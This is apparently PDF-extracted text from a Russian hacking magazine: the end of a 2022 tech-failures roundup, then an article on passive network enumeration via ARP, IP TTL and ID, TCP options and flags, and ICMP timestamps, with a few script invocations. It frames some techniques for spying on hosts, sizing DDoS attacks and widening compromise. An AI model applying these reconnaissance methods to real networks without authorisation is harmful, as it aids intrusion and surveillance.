на всю индус трию, а пос ледс твия про изо шед шего еще дол го будут ска зывать -
ся на всем рын ке в целом.

В  есть все необ ходимые сос тавля ющие для нас тояще го эпик -
фей ла: про пав шие мил лиар ды, обма нутые инвесто ры и вопи ющая халат ность.
К при меру, гла вы FTX регуляр но тра тили средс тва на покуп ку пред метов рос -
коши и элит ной нед вижимос ти на Багамах, ведь ока залось, что никако го кон -
тро ля рас ходов в ком пании вов се не было: пла тежи утвер жда лись с помощью
пер сонали зиро ван ных эмод зи в онлайн-чатах.

этой исто рии

Быв ший гла ва и осно ватель FTX Сэм Бэн кман-Фрид уже экс тра диро ван
в США пос ле арес та на Багам ских остро вах. Прав да, на родине его сра зу же

 под залог в раз мере 250 мил лионов дол ларов и отпра вили
под домаш ний арест.
ос вободи ли

Те перь Бэн кма ну-Фри ду и дру гим быв шим руково дите лям FTX и фон да
Alameda Research гро зит тюрем ное зак лючение сро ком 110–115 лет.

Äðóãèå ïðîâàëû 2022 ãîäà

1. 
. Ради останция тран сли рова ла через HD

Radio фай лы изоб ражений, не имев шие рас ширений, а инфо тей мент-сис -
темы авто моби лей 2014–2017 годов выпус ка обя затель но дол жны «знать»
рас ширение фай ла.

Ин фотей мент-сис темы в авто моби лях Mazda отклю чились пос ле прос -
лушива ния ради останции в Сиэт ле

2. .
Прек ращение под дер жки IE спро воци рова ло нас тоящий хаос в Япо нии, где
бра узер по-преж нему в ходу у мно гих ком паний и госс трук тур.

Япон ские ком пании ока зались не готовы к отклю чению Internet Explorer

3. .
Трое школь ников наш ли спо соб соз дания бес плат ных Premium-под писок,
ста ли про давать их и довели этот «биз нес» до абсурда.

В Telegram анну лиро вали под писки Premium, получен ные обманным путем

4. 
. Из-за фей ковой новос ти ком пания Eli Lilly потеря -

ла боль ше 16 мил лиар дов рыноч ной капита лиза ции.

Ак ции фар мацев тичес кой ком пании подеше вели из-за фаль шивого тви та
про бес плат ный инсу лин

5. 
. Прес тупни ки внес ли в бан коматы фаль шивые купюры на общую

сум му более 60 мил лионов руб лей, пос ле чего сня ли уже нас тоящие день -
ги.

Мо шен ники обма нули бан коматы «Аль фа-бан ка» с помощью купюр «бан ка
при колов»

ЧЕМ ЕЩЕ ЗАПОМНИТСЯ 2022 ГОД
Раз работ чики Winamp, о которых в 2022 году вряд ли вспо мина ло мно го людей, сдер жали свое
обе щание и все же  леген дарно го пле ера (Winamp 5.9). Под готов ка
к обновле нию и переза пус ку Winamp велась с 2018 года.

вы пус тили новую вер сию

В начале года ФСБ РФ заяви ла, что чле ны нашумев шей хак-груп пы REvil  по зап росу
влас тей США. Это сооб щение посе яло нас тоящую панику в рядах хакеров, но к нояб рю дело
окон чатель но заш ло в тупик, так как, по дан ным СМИ, аме рикан ская сто рона «в односто рон нем
поряд ке выш ла из перего вор ного про цес са».

арес тованы

На циональ ный инсти тут стан дартов и тех нологий США (NIST)  от исполь -
зования крип тогра фичес кого алго рит ма SHA-1 и рекомен довал пол ностью перей ти на более
безопас ные SHA-2 и SHA-3 до 31 декаб ря 2030 года.

со общил об отка зе

Илон Маск  за 44 мил лиар да дол ларов, сра зу же уво лил весь
топ-менед жмент, две тре ти сот рудни ков и теперь так активно модер низиру ет соц сеть, что
Twitter лишил ся мно гих круп ных рек ламода телей, а поль зовате ли мас сово перехо дят
в Mastodon.

ку пил ком панию Twitter

15 июня 2022 года Microsoft окон чатель но «похоро нила» Internet Explorer, 
от исполь зования уста рев шего бра узе ра. Теперь поль зовате лей сра зу пере адре суют в Edge,
хотя спе циаль ный режим IE в Microsoft Edge будет под держи вать ся по мень шей мере
до 2029 года, что даст раз работ чикам дол гих восемь лет на модер низацию уста рев ших при -
ложе ний.

от казав шись

* Ïðè íàä ëåæàò êîì ïàíèè Meta, äåÿòåëü íîñòü êîòîðîé ïðèç íàíà ýêñ òðå -

ìèñò ñêîé, îðãà íèçà öèÿ çàï ðåùåíà â Ðîñ ñèè.

** Meta Platforms Inc. ïðèç íàíà ýêñ òðå ìèñò ñêîé îðãà íèçà öèåé è çàï -

ðåùåíà â ÐÔ.
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Раз ведка и сбор дан ных при пен тесте —
не одно и то же. Recon (раз ведка) —
это пас сивные дей ствия, а Enum (сбор
дан ных) — активные. Раз ведка под разуме -
вает работу исклю читель но с откры тыми
источни ками (OSINT), при этом целевая
сис тема никак не зат рагива ется, то есть
все дей ствия выпол няют ся ано ним но.
А вот ког да нас тупа ет этап enumeration,
или сбо ра дан ных, мы начина ем вза имо -
дей ство вать с целями. Об этом важ ном
эта пе тес тирова ния на про ник новение мы
сегод ня и погово рим.

Фра за «Enumeration is the key» широко извес тна в сре де пен тесте ров. Вна чале
пен тесте ры обыч но ска ниру ют пор ты, опре деляя служ бы и выпол няя спе -
цифич ные тес ты для каж дого. И тут начина ющие час то допус кают гру бые
ошиб ки, ведь ска ниро вание пор тов может быть рас ценено уда лен ной сто -
роной как сетевая ата ка.

Enumeration — это целое искусс тво. Оно зак люча ется в уме нии легитим но,
без исполь зования каких-либо уяз вимос тей, а полага ясь исклю читель но
на поведе ние при ложе ния вытащить из иссле дуемо го сер виса или откры того
пор та столь ко информа ции, сколь ко воз можно. И чем боль ше такой информа -
ции получит хакер, тем про ще ему будет на сле дующих эта пах.

Се год ня на сер верах кру тит ся столь ко раз нооб разных служб, что опи сания
всех при емов для каж дой из них хва тило бы на целую кни гу. Поэто му сегод ня
мы кос немся самых основ, того, на чем работа ет каж дый сер вис, — сте ка про -
токо лов TCP/IP. Думаю, ты край не уди вишь ся, узнав, сколь ко информа ции
реаль но дос тать, не под нима ясь выше уров ня L2/L3/L4 и не имея дос тупа
к уда лен ному сер веру, а прос то зная его IP-адрес и отправ ляя ему те или иные
пакеты. Боль шинс тво при емов при мени мо абсо лют но к любым узлам интерне -
та.

Итак, исполь зуя толь ко лишь про токо лы сетево го и тран спортно го уров ней
(IP, TCP и ICMP), мы смо жем опре делить:

опе раци онную сис тему;•
се тевую активность (speed rate);•
вре мя неп рерыв ной работы опе раци онной сис темы (uptime);•
вре мя на уда лен ном сер вере;•
сколь ко сер веров реаль но находят ся за IP-адре сом;•
сколь ко балан сировоч ных сер веров на пор те;•
при над лежат ли пор ты одно му сер веру;•
сколь ко IP-адре сов у сер вера;•
то поло гию мар шру та до цели;•
лож ные откры тые пор ты.•

В статье я буду показы вать все при меры дву мя спо соба ми: с помощью
базово го инс тру мен тария и с исполь зовани ем .
В коде этих скрип тов ты най дешь полез ные при меры исполь зования биб лиоте -
ки для краф тинга пакетов scapy, что бы при необ ходимос ти кас томизи ровать их
под свою задачу.

собс твен ного набора скрип тов

ARP

Обыч но с ARP ассо циируют ся ата ки перех вата тра фика, но мы взгля нем
на этот про токол с дру гой сто роны.

В каж дом ARP-пакете есть поле с .src_mac

И имен но по содер жимому это го поля мы смо жем отве тить на ряд воп росов.

Âûÿâëåíèå õîñòîâ çà ôàéðâîëîì

Ду маешь, если уда лен ный узел не отве чает на ping, то его там нет? Ког да ты
ини циируешь любое обра щение к узлу из текуще го сетево го сег мента, будь то
коман да  или обра щение через бра узер, твоя ОС сна чала выпол няет ARP-

зап рос, что бы узнать MAC-адрес уда лен ного хос та. И обыч но фай рво лы (даже
если они нас тро ены на пол ную бло киров ку все го вхо дяще го тра фика) не тро -
гают каналь ные про токо лы (Ethernet), а так же ARP, пос коль ку из-за это го может
быть наруше на работос пособ ность сети.

ping

Нап ример, име ется хост из текуще го сетево го сег мента. Это го хос та вро де
как нет, пос коль ку на ping он не отзы вает ся. Тем не менее в кеше при сутс тву ет
его MAC-адрес, сле дова тель но, сетевой узел сущес тву ет.

Что бы обна ружить подоб ные скры тые узлы во всем сетевом сег менте, мож но
исполь зовать скрипт, который авто мати чес ки выпол няет опи сан ные выше дей -
ствия.

Эта информа ция может быть так же полез на в сетях, где нет DHCP, но тебе
нуж но акку рат но занять IP-адрес. Кро ме того, она прос то дает понима ние, что
тот или иной сер вер не вык лючен, а находит ся за фай рво лом.

Îáíàðóæåíèå õîñòîâ ñ íåñêîëüêèìè IP

То, что в сетевом сег менте мы можем видеть MAC-адре са уда лен ных узлов,
поз воля ет выявить сис темы с нес коль кими IP-адре сами.

Все прос то: если нес коль ким IP-адре сам соот ветс тву ет один MAC, с боль шой
долей веро ятности находит ся узел, сетевой кар те которо го прис воено нес -
коль ко IP-адре сов (alias). Сто ит отме тить, что так мы не уви дим dual-homed-
машины (нес коль ко сетевых карт). Как их мож но обна ружить, я рас ска жу чуть
поз же.

Îïðåäåëåíèå àïïàðàòíîé ÷àñòè óäàëåííîãî õîñòà

Пер вые три окте та MAC-адре са резер виру ются за про изво дите лями обо рудо -
вания и потому дос таточ но точ но могут иден тифици ровать железо.

Хо рошо вид но, что рядом с нами в сети при сутс тву ют четыре IP-камеры
и четыре сетевых устрой ства. Информа ция об этом находит ся в OUI-базах:

;• /usr/share/arp-scan/ieee-oui.txt

.• /usr/share/airgraph-ng/oui.txt

В зависи мос ти от MAC-адре са уда лен ного узла мы можем сде лать еще и дос -
таточ но точ ный вывод о том, физичес кий перед нами сер вер или вир туаль ный.
Нап ример, популяр ная в Enterprise-сек торе VMware по умол чанию исполь зует
MAC-адре са вида .00:50:56:xx:xx:xx

Stale Network Address Configurations

С ARP свя зана еще одна не столь оче вид ная ата ка под наз вани ем SNAC,
которая выяв ляет уста рев шие информа цион ные потоки. Учи тывая, что
для непос редс твен ной ком муника ции узлов в локаль ных сетях тре бует ся зап -
рашива емый по ARP MAC-адрес, и при этом зап рашива емый широко веща -
тель но (так что его слы шат все), мы можем узнать, а все ли зап рашива емые
узлы реаль но сущес тву ют.

Так как ARP-ответ уже не идет широко веща тель но, а отправ ляет ся непос редс -
твен но зап рашива емой сто роне, его мы не услы шим. Поэто му скрипт выпол -
няет пов торный ARP-зап рос, что бы про верить, реаль но ли сущес тву ет
в текущем сетевом сег менте зап рашива емый хост. Если да, он под све чива -
ется зеленым, как дей ству ющий информа цион ный поток, если нет — крас ным,
как недей ству ющий. Во вре мя работы скрипт пос тоян но обновля ет граф, визу -
али зиру ющий эти самые информа цион ные потоки.

Прос то ана лизи руя ARP, можем видеть, что нек то (через шлюз ),
рас положен ный в дру гом сетевом сег менте, пытал ся соеди нить ся с несущес -
тву ющи ми хос тами. Или нап ример, что сра зу три узла (82, 79 и 83) свя зыва -
ются с хос том .

192.168.8.1

192.168.8.73
Впол не оче вид ным дей стви ем будет занять сво бод ный, но зап рашива емый

IP-адрес, прис воив сво ей сетевой кар те сколь ко нуж но адре сов. Резуль татом
может стать абсо лют но что угод но, любой информа цион ный поток вплоть
до раз гла шения паролей (нап ример, если прис воен ный адрес при над лежит
сер веру MS SQL) или хешей (если это адрес сетево го дис ка). Впро чем,
это уже отдель ная исто рия.

SNAC край не слож но уви деть нево ору жен ным взгля дом, ведь час то при -
чиной успешной ата ки ста новит ся все ми забытый кон фиг. В то же вре мя угро за
не столь оче вид на, ког да у сер вера меня ется IP-адрес: мало кто задумы вает ся
о том, что его может занять ата кующий.

SNAC прос то незаме ним при ата ках на так называ емые стен ды, ког да
иссле дуемые узлы прос то выдер гива ются из про дук тивных сетей, раз рывая
информа цион ные потоки.

ÀÍÀËÈÇ IP.TTL

В любом IP-пакете есть поле .ttl

Его осо бен ность зак люча ется в том, что каж дое сетевое устрой ство, которое
дос тавля ет твой IP-пакет до цели, вычита ет из зна чения это го поля еди ницу.
Если устрой ств по пути до цели мно го, зна чение  будет умень шать ся
по мере удли нения мар шру та сле дова ния пакета. Как толь ко содер жимое поля

 ста нет рав ным нулю, пакет уда лит ся. Так реали зова на защита от зацик -

ливания пакетов на пути сле дова ния. Отправ ляющая сто рона воль на уста нав -
ливать любое зна чение , a уда лен ная сто рона при этом отве тит пакетом

со сво им .

IP.ttl

IP.ttl

ttl
IP.ttl

Îïðåäåëåíèå ÎÑ

От прав ляющая сто рона (твой ПК) уста нав лива ет опре делен ное началь ное зна -
чение . Точ но так же уда лен ная сто рона в ответ отпра вит тебе пакет
со сво им началь ным  (зна чение которо го может умень шить ся на дли ну

трас сиров ки). И это зна чение спе цифич но для ОС.

IP.ttl
IP.ttl

Су щес тву ет четыре популяр ных началь ных зна чения , дос таточ но
точ но опи сыва ющих семей ство ОС уда лен ного узла:

IP.ttl

255 — Cisco;•
128 — Windows;•
64 — Linux, Android, BSD, macOS;•
32 — embedded-сис темы.•

Так что даже обыч ной коман дой  мы можем опре делить тип опе раци онной
сис темы.

ping

В локаль ной сети, где меж ду тво ей машиной и целью не так мно го меж сетевых
экра нов, этот метод будет работать дос таточ но точ но. Ата кующе му получен ная
информа ция поз волит сра зу понять, что за устрой ство перед ним, и подоб рать
под ходящий спи сок пор тов для ска ниро вания под те или иные популяр ные экс -
пло иты.

А для защища ющей ся сто роны повод нас торожить ся, если в поль зователь -
ском сег менте, где все компь юте ры работа ют под управле нием Windows,
вдруг появ ляет ся Linux (воз можно даже Kali).

За то в гло баль ной сети на ping (ICMP) полагать ся осо бо не сто ит. Пакет
на пути сле дова ния пре одо леет мно жес тво меж сетевых экра нов со сво ими
пра вила ми и может поп росту не дой ти до цели, даже если на целевом IP слу -
шают ся пор ты, работа ют служ бы. Имен но поэто му Nmap нуж но всег да запус -
кать с фла гом , если ты уве рен, что IP живой.-Pn

По ле  отно сит ся к про токо лу IP, а под ним, помимо ICMP (ping), работа -
ют наши любимые TCP- и UDP-тран спор ты. Так что ана лизи ровать  мож -

но пря мо с TCP-пор та.

ttl
IP.ttl

Ес ли на уда лен ном IP име ется ряд откры тых пор тов, то далеко не факт, что все
пор ты будут иметь оди нако вый . Нуж но иметь в виду, что в интерне те
не всег да весь сер вер отно сит ся к одно му IP-адре су. На деле это может быть
некое сетевое устрой ство, отправ ляющее часть пор тов на один сер вер в DMZ,
а часть на дру гие.

IP.ttl

В дан ном слу чае, судя по , мы можем зак лючить, что за IP-адре сом
реаль но скры вает ся четыре сис темы. При чем одна из них — это Windows
и три — Unix. Чуть поз же мы научим ся опре делять при над лежность пор тов
к сис темам более точ но.

IP.ttl

Âûÿâëåíèå ïîìåõ

То, что  будет умень шать ся с удли нени ем мар шру та, мы можем

исполь зовать для опре деле ния помех при ска ниро вании — лож ных сра баты -
ваний. Дос таточ но час то при ска ниро вании из «цен зуриру емых» сетей (кор -
поратив ные сети, VPN и подоб ное) часть тра фика не выходит наружу. Чаще
все го ты это го даже не заметишь, но иног да это про явля ется в наличии лож ных
откры тых пор тов. Так получа ется из-за того, что опре делен ные соеди нения
завора чива ют на тот или иной внут ренний узел, нап ример Proxy-, DNS-
или SMTP-сер вер. На иллюс тра ции ниже показан наг лядный при мер такой
ситу ации.

IP.ttl

Но если пос мотреть на  ответных пакетов, то мы заметим неч то стран -

ное.

IP.ttl

Продолжение статьи →
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Вспо мина ем про началь ные зна чения : 255, 128, 64, 32, и кар тина
начина ет про яснять ся. У двух пор тов  изме нил ся на 6, что в общем

похоже на прав ду, но у одно го из пор тов зна чение изме нилось толь ко на 1.
Ины ми сло вами, меж ду тобой и целью (сер вером Google) одно сетевое
устрой ство, слов но вы оба находи тесь в Крем ниевой долине, а не на раз ных
кон тинен тах. В резуль тате мы понима ем, что сетевое обо рудо вание тво его
про вай дера, кор поратив ного офи са или VPN завора чива ет эту часть тра фика.

IP.ttl
IP.ttl

По нима ние это го силь но упростит жизнь при иссле дова нии сети.

Îáíàðóæåíèå ïóòè

Тот факт, что каж дое сетевое устрой ство, пересы лающее твой тра фик, умень -
шает  на 1, и то, что ты можешь уста новить про изволь ное началь ное

зна чение , мож но исполь зовать для хит рого, но дос таточ но извес тно го
трю ка — traceroute.

IP.ttl
IP.ttl

Суть трас сиров ки в том, что мы спер ва отправ ляем пакет с очень корот ким
. Такой пакет не прой дет даль ше пер вого хопа и будет уда лен им,

но при уда лении веж ливое сетевое устрой ство, как пра вило, уве дом ляет
об этом отпра вите ля спе циаль ным ICMP-пакетом. Фик сируя такой пакет,
а имен но IP-адрес отпра вите ля, мы вычис ляем адрес пер вого хопа. Потом мы
отправ ляем тот же пакет с  и получа ем ответ от вто рого хопа. И так

далее. В кон це кон цов мы вычис лим IP-адре са всех сетевых устрой ств на пути
дви жения пакета до цели.

IP.ttl=1

IP.ttl=2

Тон кость в том, что по умол чанию Windows и Linux выпол няют трас сиров ку
по-раз ному. Windows исполь зует для это го про токол ICMP, а Linux — UDP. И это
может при вес ти к раз ному резуль тату. Нуж но понимать, что раз ные пакеты
могут исполь зовать раз ные мар шру ты. Про верить это мы можем, выпол нив
три раз ные трас сиров ки с TCP, UDP и ICMP на один и тот же IP-адрес.

На этих скрин шотах мы видим, что реаль ный путь дви жения пакета до того же
самого узла нем ного менял ся.

Нуж но иметь в виду, что для одно го и того же пакета сущес тву ет сра зу нес -
коль ко воз можных путей, по которым пакет может пой ти с той или иной сте -
пенью веро ятности. Это мож но заметить опять же по изме нению 

при неиз менных усло виях.

IP.ttl

Путь дви жения пакета пери оди чес ки меня ется на 13 хопов. Подоб ное изме -
нение  сви детель ству ет об изме нении мар шру та (исходный 

). И иног да это может слу жить сиг налом, что тра фик гло баль но перех -
ватыва ется.

IP.ttl IP.
ttl=128

Ес ли же  пери оди чес ки меня ется на  или ,

это сви детель ству ет о сме не обслу жива юще го сер вера (то есть о балан сиров -
ке). Чуть поз же мы научим ся более точ но опре делять балан сировоч ные сер -
веры.

IP.ttl ttl\<64 128\<ttl\<255

Ана лиз дви жения тра фика мно жес тва пакетов уже тре бует некото рой визу -
али зации:

msf> services -c port,proto
sudo ./path_discover.py
8.8.8.8 53 tcp
8.8.8.8 53 udp
^D

На этом прос том при мере мы видим, на каком узле рас ходят ся мар шру ты.
Исполь зуемый нами инс тру мент любез но груп пиру ет информа цию по авто -
ном ным зонам, про ще говоря — ответс твен ным ком пани ям.

Ин форма ция о мар шру те может быть полез на, нап ример, для понима ния
того, обо рудо вание какой ком пании бло киру ет тра фик, или при под готов ке
ата ки на про межу точ ное сетевое обо рудо вание, с целью пос леду юще го перех -
вата целево го тра фика.

Трас сиров ка может быть еще более информа тив ной, если при вязать IP-
адре са к геоло кации. Тог да дви жение тра фика ста нет еще наг ляднее.

За бав но, но если верить geoip, то пакет, навер ное, мог бы не покидать стра ну.
Далее в этой статье мы вер немся к geoip traceroute, добавив к это му инс тру -
мен ту еще нес коль ко полез ных вещей.

ÀÍÀËÈÇ IP.ID

В каж дом IP-пакете есть поле .identification

Это сво его рода поряд ковый номер. Пос коль ку пакеты к цели могут прий ти
не в том поряд ке из-за вре мен ных задер жек, это поле исполь зует ся для вос -
ста нов ления кор рек тной пос ледова тель нос ти IP-пакетов.

Îïðåäåëåíèå èñïîëüçîâàíèÿ òðàôèêà

У мно гих ОС, вклю чая некото рые Unix и, конеч но же, Windows, есть осо бен -
ность. Изме нение IP.id может иметь гло баль ный харак тер. То есть если уда лен -
ный узел отправ лял пакеты кому-то еще, кро ме тебя, то поле IP.id в его пакетах
изме нит ся более чем на еди ницу. Эту прос тую осо бен ность мы можем
исполь зовать для опре деле ния сетевой активнос ти хос та.

Мы видим, что  в отве те изме нил ся более чем на еди ницу, зна чит, меж ду

нашим зап росом и отве том уда лен ный узел успел что-то ска чать или, наобо -
рот, что-то качали с него.

IP.id

Ана лиз активнос ти сетево го хос та может помочь во мно гих слу чаях. Нап -
ример, ата кующий может под гадать момент, ког да за ПК не ведет ся работа,
что бы выпол нить над ним какие-то зло наме рен ные дей ствия, которые поль -
зователь не заметит. Или опре делить по тра фику посеща емость сай та и сде -
лать выводы о пер спек тивнос ти его ком про мета ции. Ну или мож но прос то
пош пионить за поль зовате лем.

На самом деле воз можность видеть активность любого хос та в интерне -
те — это боль шая сила, осо бен но если хост без дей ству ет ( ), тог да

мож но отсле живать момен ты, в которые к нему про исхо дит обра щение. Нап -
ример, если это SMTP-сер вер, то мы можем про верить факт дос тавки пись ма
по неболь шому всплес ку сетевой активнос ти. Конеч но, это не пол ноцен ный
сетевой сниф фер, зато работа ет он незамет но и поч ти вез де. И тут мы плав но
под ходим к так называ емым кор реляци онным ата кам, слож ной, но мощ ной
тех нике для деано на. Но это уже дру гая исто рия... Сло вом, в зависи мос ти
от ситу ации и фан тазии опи сан ный при ем поз воля ет най ти отве ты на мно гие
воп росы.

IP.id ++1

Но что нам меша ет уви деть сетевую активность сра зу ряда машин по опре -
делен ному TCP-пор ту?

Мы видим, что какие-то сер веры «отды хают», а на какие-то при ходят зап росы.
Некото рые работа ют под управле нием Windows ( ), на дру гих сто ит

Linux ( ), и один шлюз — устрой ство Cisco ( ). Изме нения тра -
фика на шлю зе в разы мень ше, чем изме нения на всех устрой ствах, вмес те
взя тых, — зна чит, боль шая часть сетево го вза имо дей ствия с сер верами про -
исхо дит в пре делах одно го сетево го сег мента, то есть без учас тия шлю за.

ttl=128
ttl=64 ttl=255

Пос коль ку  и  находят ся в IP-слое пакета, мы можем ана лизи ровать

их, ком бинируя с трас сиров кой (TCP, UDP, ICMP). Так мож но уви деть сетевую
активность каж дого устрой ства, через которое про ходит пакет на пути к цели.

id ttl

Впол не пред ска зуемо по  вид но, что тра фик шел глав ным обра зом

через устрой ства Cisco. По изме нению же  мы можем ана лизи ровать заг -

ружен ность сетевых устрой ств и опре делять, сколь ко чужого тра фика про ходит
эти ми путями. Одна ко такое поведе ние встре чает ся не в каж дом слу чае.

IP.ttl
IP.id

Сто ит пом нить, что поле  — это все го лишь два бай та, а зна чит, оно

обну лит ся пос ле 65 535 пакетов. Сле дова тель но, если зна чение  изме -
нилось буд то бы слу чай ным обра зом, ско рее все го, это из-за того, что зна -
чение IP.id успе вает сде лать пол ный круг, воз можно даже нес коль ко раз. Зна -
чит, уда лен ный узел отправ ляет боль ше 65 тысяч пакетов за секун ду. Тог да
мож но исполь зовать мень ший интервал меж ду отправ ками пакетов для более
точ ных замеров изме нения .

IP.id
IP.id

IP.id

Те перь мы видим, что при раще ние  име ет более внят ный харак тер
и имен но столь ко пакетов за 100 мс успе вает отпра вить уда лен ный хост.

IP.id

Для режима трас сиров ки подоб ное будет слож но реали зовать базовы ми
средс тва ми, так как для каж дого хопа тре бует ся выс тавлять свое зна чение 

 и отправ лять сра зу два пакета поч ти сра зу друг за дру гом, пос ле чего

срав нивать дель ту . Это реали зова но толь ко в моем скрип те

.

IP.
ttl

IP.id
traceroute.py

Idle scan

Пред ска зуемое зна чение  может быть исполь зовано даже для вза имо -

дей ствия с целью при ска ниро вании через про межу точ ный узел.

IP.id

По доб ный при ем поз воля ет ано ним но «про щупы вать» уда лен ный хост, под -
став ляя вмес то IP-адре са отпра вите ля некий тре тий хост с пред ска зуемым
изме нени ем  при усло вии, что он «отды хает».IP.id

Мы видим, что  не менял ся более чем на еди ницу, пока не был отправ -
лен еще один пакет. Имен но так выпол няет ся поиск зом би-хос тов, а само ска -
ниро вание реали зова но во всем извес тном Nmap как режим idle scan.

IP.id

Сто ит толь ко иметь в виду, что под делка IP-адре са отпра вите ля воз можна
далеко не во всех сетях.

TCP.OPTIONS

В тран спортном про токо ле TCP содер жится поле .options

Ïîëó÷åíèå uptime

Один из парамет ров в этом поле — зап рос uptime уда лен ного узла. Зап росить
его впол не легаль но мы можем абсо лют но для любого уда лен ного хос та.

Нап ример, в локаль ной сети мы можем уви деть, ког да поль зовате ли пос -
ледний раз вык лючали свои ПК или как дол го работа ют сер веры.

Имен но так ата кующий опре деля ет роль хос та — сер вер (высокий uptime)
или рабочая стан ция (низ кий uptime).

Ес ли у сер веров при мер но схо жий uptime, мы можем пред положить, что
име ло мес то ава рий ное отклю чение элек тро пита ния или мас совый переза пуск
по какой-то дру гой при чине. Сло вом, под клю чаем дедук цию.

Âûÿâëåíèå ÎÑ

В интерне те, как мы пом ним, весь ма час то часть пор тов с IP-адре са прос то
пересы лает ся на те или иные сер веры DMZ. Для ата кующе го такая информа -
ция, пожалуй, не была бы лиш ней. Ведь всег да при ятнее работать, ког да
перед гла зами име ется кар та тополо гии сети.

Что бы узнать, какие пор ты соот носят ся с раз личны ми сис темами, мож но
зап росить uptime с каж дого пор та и сгруп пировать по нему резуль таты ска -
ниро вания. К при меру, осно выва ясь толь ко на ана лизе , мы можем зак -
лючить, что за иссле дуемым IP-адре сом «пря чут ся» две сис темы, пос коль ку
в пакетах содер жатся раз ные .

IP.ttl

ttl

То, что за дан ным IP скры вает ся не один сер вер, так же под твержда ет ана лиз
uptime, одна ко хос тов выяв лено еще боль ше — три.

Продолжение статьи →
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Та кой ана лиз полезен, если на уда лен ном хос те обна руже ны пор ты неиз вес -
тно го наз начения, в то вре мя как информа ция о некото рых пор тах у нас есть.
Ког да IP-адрес один, про вес ти такой ана лиз не сос тавит тру да, но, если
перед нами мно жес тво целей, разоб рать ся с ними поможет допол нитель ная
визу али зация:

sudo ./path_discover_group.py
8.8.8.8 53 tcp
8.8.8.8 443 tcp

Уме ние выяв лять подоб ные осо бен ности поз воля ет под мечать общие чер ты
у раз ных адре сов. Нап ример, один и тот же сер вер впол не может ока зать ся
на раз ных IP, но на одном пор те и так далее.

Ес ли в интерне те за одним IP могут скры вать ся нес коль ко сер веров, то
в локаль ной сети чаще наб люда ется обратное — ког да у одно го сер вера нес -
коль ко адре сов (alias или dual-homed). Груп пиров ка резуль татов ска ниро вания
по uptime может выявить такие узлы.

Мы видим, что, веро ятнее все го, два отме чен ных на скрин шоте IP-адре са
на самом деле явля ются одним и тем же сер вером, у которо го нес коль ко IP-
адре сов на сетевой кар те (alias) либо же нес коль ко сетевых карт (dual-homed).
В локаль ной сети информа ция о мно жес твен ности IP-адре сов у сетевых узлов
может быть так же полез на, нап ример, при про веде нии relay-атак.

Îïðåäåëåíèå êîëè÷åñòâà áàëàíñèðîâî÷íûõ ñåðâåðîâ

В интерне те не толь ко за одним IP-адре сом может скры вать ся мно жес тво сис -
тем, но и за одним пор том может пря тать ся нес коль ко сер веров. Это называ -
ется «балан сиров ка», и встре чает ся она, как пра вило, на высоко наг ружен ных
сер висах. Если мы какое-то вре мя будем под клю чать ся к уда лен ному пор ту
и ана лизи ровать его uptime, то, сгруп пировав резуль таты, мы получим при мер -
ное количес тво балан сировоч ных сер веров.

На при веден ном выше скрин шоте мы видим, что 36 раз ответ при шел от сер -
вера с uptime 29 дней, а 19 раз — с uptime 11 дней и так далее. Полага ясь
на факт, что иден тичный uptime у раз ных сер веров ред ко встре чает ся, мож но
зак лючить, что этот сайт обслу жива ют при мер но пять сер веров.

Зна ние того, сколь ко сер веров обра баты вают зап росы, может ока зать ся
очень кста ти, нап ример для рас чета мощ ности при DDoS-ата ке. Так же, если
на уда лен ном узле вдруг обна ружи лась RCE, сто ит обра тить вни мание
на балан сиров ку, ведь так мож но при умно жить количес тво зах вачен ных сер -
веров.

ICMP.TYPE=13

Се тевой про токол ICMP под держи вает мно жес тво типов зап росов.

Ïîëó÷åíèå ëîêàëüíîãî âðåìåíè UTC

С помощью одно го из зап росов мы можем получить timestamp, который
исполь зует ся для опре деле ния локаль ного вре мени уда лен ного хос та. В ICMP-
пакете оно пред став лено в поле  в виде чис ла мил -

лисекунд, про шед ших от полуно чи по UTC.

Transmit timestamp

Вид но, что меж ду  (текущая сис тема) и  (уда лен ная) есть
рас хожде ние. Оно как раз и показы вает, что наши локаль ные часы и часы
на уда лен ном сер вере не сов пада ют.

originate transmit

Windows отда ет timestamp в про тиво полож ном поряд ке бай тов (big endian),
в то вре мя как Unix — в little endian. В скрип те  пре дус мотре но

отли чие Windows от Linux по , так что теперь мож но опре делить вре мя

на любых узлах в сети.

icmp_ts.py
IP.ttl

Зна ние вре мени поможет как с отно ситель ной иден тифика цией ОС (по ана -
логии с uptime), так и при попыт ке исполь зовать про токол, который тре бует
син хро низа ции (нап ример, SSL/TLS или Kerberos).

TCP.FLAGS

У тран спортно го про токо ла TCP сущес тву ет поле .flags

Это поле исполь зует ся для управле ния сос тоянием соеди нения.

Âûÿâëåíèå ïîìåõ

В самом начале статьи мы уже касались темы выяв ления помех. Но про явля -
лась она в побоч ных откры тых пор тах. Одна ко куда более час то воз можна
обратная ситу ация, ког да на цели открыт порт, но твоя сеть или непос редс -
твен но фай рвол перед целью филь тру ет этот порт. В таком слу чае откры тый
порт на цели ты не уви дишь.

Су щес тву ют некото рые осо бен ности того, как опе раци онные сис темы дол -
жны обра баты вать не сов сем обыч ные пос ледова тель нос ти фла гов в TCP-
соеди нени ях. Таких осо бен ностей дос таточ но мно го, некото рые из них
ОС-спе цифич ны. Одна ко общей явля ется реак ция про токо ла TCP на ACK-
пакет, на который любая сис тема дол жна отве тить, неваж но, открыт порт
или зак рыт.

Се тевые экра ны далеко не всег да спо соб ны нас толь ко точ но соот ветс тво вать
поведе нию ОС, что, в общем-то, и не осо бо нуж но. Поэто му если меж ду тобой
и целью есть фай рвол, то отве та от цели на такие спе циаль ные пакеты пос -
тупать уже не будет.

Та ким обра зом мы можем опре делить наличие бран дма уэра меж ду ата -
кующим и целевой сис темой.

Îïðåäåëåíèå ÎÑ

Бы ло бы стран но не упо мянуть извес тный инс тру мент p0f, который опре деля ет
OS ngerprint подоб но тому, как мы делали это по , но исполь зует

более широкий набор свой ств и, сле дова тель но, дела ет это точ нее. В IP-
и TCP-сло ях пакета содер жится целый ряд допол нитель ных полей, дефол тные
зна чения которых спе цифич ны для раз ных ОС. И если по  мы лишь

опре деля ли семей ство ОС Windows, Unix или Cisco, то, ана лизи руя TCP, мож но
более точ но пред ска зать даже вер сию ОС уда лен ного узла. По сути, это целая
база дан ных, сам инс тру мент мож но отыс кать по пути 

 или . Тул за работа ет пол ностью пас сивно, прос то слу шая

тра фик, который тре бует ся самос тоятель но ини цииро вать.

IP.ttl

IP.ttl

/usr/share/p0f/p0f.
fp /etc/p0f/p0f.fp

IP.OPTIONS

У сетево го про токо ла IP так же есть поле .options

Ðàçãëàøåíèå õîïîâ

